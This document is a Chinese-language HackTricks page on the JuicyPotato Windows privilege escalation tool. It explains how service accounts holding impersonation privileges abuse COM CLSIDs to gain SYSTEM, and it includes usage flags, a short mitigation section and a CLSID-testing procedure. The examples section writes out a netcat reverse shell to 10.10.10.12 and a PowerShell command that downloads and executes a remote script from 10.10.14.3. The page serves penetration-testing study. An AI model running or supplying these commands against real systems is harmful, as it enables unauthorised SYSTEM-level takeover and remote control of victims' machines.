9 KiB
JuicyPotato
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
- 你在网络安全公司工作吗?想要看到你的公司在HackTricks中宣传吗?或者想要访问PEASS的最新版本或下载HackTricks的PDF吗?查看订阅计划!
- 探索PEASS家族,我们独家的NFT收藏品
- 获取官方PEASS和HackTricks周边产品
- 加入 💬 Discord群 或 电报群 或在Twitter上关注我 🐦@carlospolopm。
- 通过向 hacktricks repo 和 hacktricks-cloud repo 提交PR来分享你的黑客技巧。
{% hint style="warning" %}
JuicyPotato在Windows Server 2019和Windows 10版本1809及更高版本上无法运行。但是,可以使用PrintSpoofer、RoguePotato、SharpEfsPotato来利用相同的特权并获得NT AUTHORITY\SYSTEM
级别访问。查看:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato(滥用黄金特权)
一个经过改进的 RottenPotatoNG,带有一点果汁,即另一个本地权限提升工具,从Windows服务账户提升到NT AUTHORITY\SYSTEM
您可以从https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts下载JuicyPotato
摘要
RottenPotatoNG及其变体利用基于BITS
的特权升级链服务在127.0.0.1:6666
上具有MiTM监听器,当您拥有SeImpersonate
或SeAssignPrimaryToken
特权时。在Windows构建审查期间,我们发现了一个设置,其中BITS
被故意禁用,端口6666
被占用。
我们决定武装化RottenPotatoNG:欢迎Juicy Potato。
欲了解理论,请参阅Rotten Potato - 从服务账户提升到SYSTEM的特权提升,并跟随链接和参考链。
我们发现,除了BITS
外,还有一些COM服务器可以被滥用。它们只需要:
- 能够由当前用户实例化,通常是具有模拟特权的“服务用户”
- 实现
IMarshal
接口 - 作为提升用户(SYSTEM、管理员等)运行
经过一些测试,我们获得并测试了在几个Windows版本上的广泛列表的有趣CLSID。
详细信息
JuicyPotato允许您:
- 目标CLSID 选择任何您想要的CLSID。 这里 您可以找到按操作系统组织的列表。
- COM监听端口 定义您喜欢的COM监听端口(而不是硬编码的6666)
- COM监听IP地址 将服务器绑定到任何IP
- 进程创建模式 根据模拟用户的特权,您可以选择:
CreateProcessWithToken
(需要SeImpersonate
)CreateProcessAsUser
(需要SeAssignPrimaryToken
)两者
- 要启动的进程 如果利用成功,启动可执行文件或脚本
- 进程参数 自定义启动进程参数
- RPC服务器地址 用于隐蔽操作,您可以对外部RPC服务器进行身份验证
- RPC服务器端口 如果您想要对外部服务器进行身份验证且防火墙阻止端口
135
,这将很有用… - 测试模式 主要用于测试目的,即测试CLSID。它创建DCOM并打印令牌的用户。查看 这里进行测试
用法
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
总结
如果用户具有 SeImpersonate
或 SeAssignPrimaryToken
特权,则您将成为 SYSTEM。
几乎不可能阻止所有这些 COM 服务器的滥用。您可以考虑通过 DCOMCNFG
修改这些对象的权限,但祝您好运,这将是具有挑战性的。
实际解决方案是保护在 * SERVICE
帐户下运行的敏感帐户和应用程序。停止 DCOM
肯定会阻止此漏洞利用,但可能会对底层操作系统产生严重影响。
来源: http://ohpe.it/juicy-potato/
示例
注意: 访问 此页面 查看要尝试的 CLSID 列表。
获取 nc.exe 反向 shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell 反向 shell
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
启动新的CMD(如果您有RDP访问权限)
CLSID 问题
通常情况下,JuicyPotato使用的默认CLSID无法正常工作,导致利用失败。通常需要多次尝试才能找到一个有效的CLSID。要获取针对特定操作系统尝试的CLSID列表,您应该访问此页面:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
检查CLSID
首先,您需要一些除了juicypotato.exe之外的可执行文件。
下载Join-Object.ps1并将其加载到您的PS会话中,然后下载并执行GetCLSID.ps1。该脚本将创建一个要测试的可能CLSID列表。
然后下载test_clsid.bat(更改路径到CLSID列表和juicypotato可执行文件)并执行它。它将开始尝试每个CLSID,当端口号更改时,表示CLSID有效。
使用参数 -c 检查有效的CLSID。
参考资料
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
- 您在网络安全公司工作吗? 想要在HackTricks中宣传您的公司? 或者想要访问PEASS的最新版本或下载HackTricks的PDF? 请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入 💬 Discord群 或 电报群 或在Twitter上关注我 🐦@carlospolopm。
- 通过向hacktricks repo和hacktricks-cloud repo提交PR来分享您的黑客技巧。